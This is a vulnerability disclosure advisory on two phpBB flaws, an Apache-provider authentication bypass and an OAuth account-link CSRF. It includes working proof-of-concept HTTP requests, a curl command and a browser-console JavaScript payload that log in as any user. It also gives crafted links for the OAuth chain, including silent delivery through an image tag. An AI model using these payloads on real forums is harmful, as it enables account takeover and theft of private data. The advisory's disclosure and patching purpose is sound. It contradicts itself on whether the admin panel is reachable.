phpBB authentication bypass: introducing CVE-2026-48611 and CVE-2026-48612
Our security research team discovered two vulnerabilities in phpBB that let an attacker impersonate or hijack any user account, including admins, without knowing the password.
CVE-2026-48611 (PTT-2026-004) requires a single unauthenticated HTTP request and works on default phpBB installations. CVE-2026-48612 (PTT-2026-005) requires phpBB to have OAuth configured and the victim to be logged in when they access the attacker-supplied link.

CVE-2026-48611- authentication bypass in phpBB
CVE-2026-48611
CVE ID: CVE-2026-48611
PTT ID: PTT-2026-004
CVSS v3.1: 9.4 Critical AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CWE: CWE-305: Authentication Bypass by Primary Weakness
Affected versions: phpBB <= 3.3.16 and 4.0.0-a2 (default configuration, auth_method=db)
Fixed in: phpBB 3.3.17 - June 6, 2026
Discovered by: Dan Stefan Alexandru, Pentest-Tools.com security research team
Reported to vendor: June 4, 2026
Public disclosure: June 8, 2026
What is CVE-2026-48611?
CVE-2026-48611 (PTT-2026-004) is an authentication bypass in phpBB that lets an attacker get a valid session as any active user, including administrators, with a single unauthenticated HTTP request.
No password, no prior access, and no user interaction required.
The vulnerability was discovered by Dan Stefan Alexandru of the Pentest-Tools.com security research team and reported to phpBB on June 4, 2026.
The fix shipped in phpBB 3.3.17 on June 6, 2026.
Affected software by CVE-2026-48611
All phpBB versions prior to 3.3.17 running with auth_method=db (the default) are affected.
Every default phpBB installation is exposed. phpBB 4.0.0-a2 is also affected.
How CVE-2026-48611 works
phpBB's ucp_login_link controller accepts multiple authentication providers via the auth_provider parameter. It accepted an apache provider via the GET parameter auth_provider=apache, which caused phpBB to route authentication through the Apache provider instead of the configured one.
The Apache provider's login() method checks two things: that PHP_AUTH_USER matches the submitted username, and that PHP_AUTH_PW is non-empty. The login() method never compares the value of PHP_AUTH_PW against the stored password hash. Because all major PHP SAPIs populate these variables from any incoming Authorization: Basic header, this vulnerability affects any web server running PHP - not just Apache.
The attack works as follows:
The attacker identifies a target username. On default phpBB installs, the member list (memberlist.php) is publicly accessible and enumerates all active accounts.
The attacker sends a single POST request to ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 with an Authorization: Basic header encoding username:anythingnonempty and the login_username body parameter set to the same username.
phpBB responds with a Set-Cookie header containing a valid session ID for the targeted user.
The attacker uses the session cookie to access the forum as the targeted user. If the target is an administrator, the attacker has full forum access - posts, private messages, user data, and configuration.
Proof of concept for CVE-2026-48611
The following HTTP request bypasses authentication and returns a valid session as the admin user. The password value in the Authorization header is irrelevant as long as it is non-empty.
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 HTTP/1.1
Host: target
Authorization: Basic YWRtaW46d3JvbmdwYXNzd29yZA==
(decodes to: admin:wrongpassword)
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=x&login=Login
Response:
Set-Cookie: phpbb3_<hash>_u=2; ...
Set-Cookie: phpbb3_<hash>_sid=<session_id>; ...
Location: http://target/index.php?sid=<session_id>
The same exploit from the command line:
curl -sS -c cookies.txt \
-u admin:wrongpassword \
-d 'login_username=admin&login_password=x&login=Login' \
'http://target/ucp.php?mode=login_link&auth_provider=apache&login_link_x=1'
For ease of use, an attacker can copy-paste the following JS payload into the browser’s DevTools console on the target site (replace 'admin' with any active username):
user = 'admin'
fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_x=1', {
method: 'POST',
headers: {
'Authorization': 'Basic ' + btoa(user + ':wrongpassword'),
'Content-Type': 'application/x-www-form-urlencoded' },
body: 'login_username=' + user + '&login_password=x&login=Login',
credentials: 'include',
redirect: 'manual'
}).then(r => console.log('Status:', r.status));
After the fetch completes, refreshing the page opens the forum as the targeted user.
Business impact of CVE-2026-48611
A successful attack gives the attacker a valid phpBB session as any active user.
For regular accounts, this means access to private messages and any content visible to that user. For administrator accounts, it means full read, write and delete access to the entire forum: posts, private boards, view user data, etc.
The only mitigation built into phpBB that limits further escalation is the Administration Control Panel (ACP), which requires a separate re-authentication step using the account password. This means the attacker cannot directly access ACP functionality without knowing the admin's password - but full forum-level access, including all private content, is unrestricted.
Exploitation requires only a known username. On default phpBB installations, the member list is publicly accessible, so an attacker can enumerate targets without any prior access.
Affected deployments include:
→ Any public phpBB forum running a version prior to 3.3.17 - the member list is visible by default, making username enumeration trivial.
→ Internal phpBB installations (company wikis, support boards) where the member list may be restricted - an attacker with internal network access or a known username can still exploit this.
→ phpBB 4.0.0-a2 alpha installations.

[Later edit: Jun 15, 2026]
Thank you to the anonymous reader who pointed out an attacker can, in fact, directly access the ACP panel after impersonating an admin user. We’ve updated the vulnerability description to reflect that.
Detection and scanning for CVE-2026-48611
You can detect vulnerable phpBB installations using the Network Scanner on Pentest-Tools.com. Detection is available on all paid plans. Here’s a sample finding for an exposed target you can include in your vulnerability assessment report or penetration report:
Mitigation for CVE-2026-48611
Patch. Upgrade to phpBB 3.3.17 or later. This is the only complete fix. There is no configuration workaround that fully closes this attack path on versions prior to 3.3.17.
After patching. Re-scan affected assets to confirm the fix is in place and no vulnerable instances remain.
Discovery and disclosure timeline for CVE-2026-48611
May 13, 2026: Vulnerability discovered by Dan Stefan Alexandru, Pentest-Tools.com security research team
June 4, 2026: Reported to phpBB security team by Dan Stefan Alexandru
June 6, 2026: phpBB 3.3.17 released
June 8, 2026: Public disclosure - this page published
July 4, 2026: Proof of concept details disclosed - updated this page
References for CVE-2026-48611
CVE-2026-48612 - OAuth auth-link CSRF leading to account takeover
CVE-2026-48612
CVE ID: CVE-2026-48612
PTT ID: PTT-2026-005
CVSS v3.1: 8.3 High AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
CWE: CWE-352 — Cross-Site Request Forgery + missing OAuth state validation
Affected versions: phpBB < 3.3.17 (OAuth must be configured — not default)
Fixed in: phpBB 3.3.17 — June 6, 2026
Discovered by: Dan Stefan Alexandru, Pentest-Tools.com security research team
Reported to vendor: June 4, 2026
Public disclosure: June 8, 2026
What is PTT-2026-005?
CVE-2026-48612 (PTT-2026-005) is a chained vulnerability in phpBB's OAuth implementation that lets an attacker take over the account of any logged-in user who opens a single attacker-supplied URL.
Two separate defects combine to produce the chain:
→ the OAuth service callers never pass the state parameter to the underlying library, silently bypassing state validation;
→ and the auth-link endpoint exposes a GET branch that triggers the account-link flow with no CSRF protection of any kind.
The attacker gets a valid OAuth authorization code using their own browser, embeds it in a crafted URL, and delivers it to the victim.
When the victim opens the link while logged into phpBB, the server redeems the attacker's code against the victim's authenticated session.
The result is a database row binding the attacker's identity-provider account to the victim's user_id. The attacker then logs in via OAuth from their own browser and lands in the victim's account.
The attacker can serve the link in a forum post, a private message, a phishing email, or inside an embedded image tag - the last method does not require the victim to click anything, only to load a page where the image is present.
The vulnerability was discovered by Dan Stefan Alexandru of the Pentest-Tools.com security research team and reported to phpBB on June 4, 2026.
The fix shipped in phpBB 3.3.17 on June 6, 2026, which added OAuth state validation and CSRF protection to the auth-link flow, and introduced a new purge_oauth_states.php cron task.
Affected software by CVE-2026-48612
All phpBB versions prior to 3.3.17 where $config['auth_method'] is set to 'oauth' and at least one OAuth 2.0 provider (Google, Facebook, or Bitly) is configured with valid client credentials. Twitter (OAuth 1.0a) is not affected.
Default phpBB installations use auth_method = 'db' and are not exposed to PTT-2026-005 (CVE-2026-48612). This vulnerability only affects boards where an administrator has explicitly enabled OAuth authentication.
How CVE-2026-48612 works
Two independent defects exist in the OAuth implementation. Combined, they allow an attacker to bind their identity-provider account to a victim's phpBB account without the victim's knowledge or consent.
Defect 1: Missing OAuth state validation.
The state parameter in the OAuth 2.0 flow exists to tie an authorization request to the browser session that initiated it, preventing an attacker from injecting a foreign authorization code. phpBB's OAuth service callers never pass the state parameter to the underlying OAuth library.
As a result, state validation is silently bypassed - the library generates no state, so it accepts any response, including one initiated by a different browser.
Defect 2: Missing CSRF protection on the auth-link endpoint.
The UCP auth-link endpoint (i=ucp_auth_link&mode=auth_link) exposes a GET branch that triggers the OAuth account-link flow. Line 92 of ucp_auth_link.php contains no check_form_key() call and no CSRF validation of any kind. Any GET request to this endpoint from an authenticated session initiates the link flow immediately.
The attack sequence:
1. The attacker requests an OAuth authorization code from the configured provider using their own browser. The code is bound to the configured client_id and redirect_uri, but not to any session cookie or IP address - it is transferable.
2. The attacker embeds the captured code into the auth-link endpoint URL and delivers it to the victim via any channel (forum post, message, phishing email, embedded image).
3. The victim, while authenticated to phpBB, opens the URL. ucp_auth_link.php processes the request without CSRF validation, calls requestAccessToken() with the attacker's code, and - because state validation is bypassed - the provider accepts the exchange and returns an access token for the attacker's identity.
4. phpBB inserts a row into phpbb_oauth_accounts with user_id = <victim's user_id> (from the victim's authenticated session) and oauth_provider_id = <attacker's identity>.
5. The attacker opens phpBB in an incognito window, logs in via OAuth with their own credentials, and is silently mapped to the victim's user_id. The attacker now has full access to the victim's account.
Proof of concept for CVE-2026-48612
Step 1 - Attacker gets an authorization code:
curl -s -D - "http://<oauth-provider>/authorize?
client_id=<client_id>
&redirect_uri=http://<target>/ucp.php
&response_type=code
&scope=openid
&state=fakestate"
# Response:
# location: http://<target>/ucp.php?code=rtEZQAPfI_fqz-f5xo...&state=fakestate
Step 2 - Attacker crafts the malicious URL:
http://<target>/ucp.php?i=ucp_auth_link&mode=auth_link
&link=1
&oauth_service=google
&code=<CAPTURED_CODE>
Step 3 - Victim clicks the link while logged into phpBB. Server-side result:
-- phpbb_oauth_accounts after attack:
user_id | provider | oauth_provider_id
2 | google | ATTACKER_OAUTH_ID_111111
-- user_id=2 is the admin account.
-- The attacker's OAuth identity is now bound to it.
Step 4 - Attacker logs in via OAuth from an incognito window:
http://<target>/ucp.php?mode=login&login=external&oauth_service=google
# phpBB resolves (provider=google, oauth_provider_id=ATTACKER_OAUTH_ID_111111)
# to user_id=2 and creates an authenticated session as the admin.
Business impact of CVE-2026-48612
A successful attack gives the attacker a permanent OAuth login credential for the victim's phpBB account. The binding persists in phpbb_oauth_accounts until an administrator removes it or the victim notices and revokes it.
For regular user accounts, the attacker gains access to private messages, any content visible to that user, and the ability to post or take moderation actions under the victim's identity. For administrator accounts, this extends to full forum management - user data, private boards, configuration, and the ability to moderate or delete any content.
phpBB's Administration Control Panel requires password re-authentication and does not offer OAuth login, so ACP-level functions are not reachable via this chain. Password and email changes also require the current password.
The attack can be delivered without any user clicking - by embedding the malicious URL inside an <img src="..."> tag in a forum post or private message. A victim's browser loads the image, making the GET request while the victim is authenticated, and the account link is created silently.
Affected deployments include any phpBB board where an administrator has enabled OAuth authentication with Google, Facebook, or Bitly as the provider.
Mitigation for CVE-2026-48612
Patch. Upgrade to phpBB 3.3.17 or later. The fix adds OAuth state parameter validation, CSRF protection to the auth-link endpoint, and a new purge_oauth_states.php cron task for cleanup. This is the only complete fix.
If you cannot patch immediately and your board has OAuth enabled, disable OAuth authentication in the administration panel (ACP > General > Authentication) and switch to auth_method=db until the upgrade is complete. This removes the attack surface entirely.
After patching. Audit phpbb_oauth_accounts for unexpected entries - rows where the oauth_provider_id does not match an account the user intentionally linked. Remove any suspicious entries.
Discovery and disclosure timeline for CVE-2026-48612
May 13, 2026: Vulnerability discovered by Dan Stefan Alexandru, Pentest-Tools.com security research team
June 4, 2026: Reported to phpBB security team by Dan Stefan Alexandru
June 6, 2026: phpBB 3.3.17 released
June 8, 2026: Public disclosure - this page published
July 4, 2026: Proof of concept details disclosed - updated this page
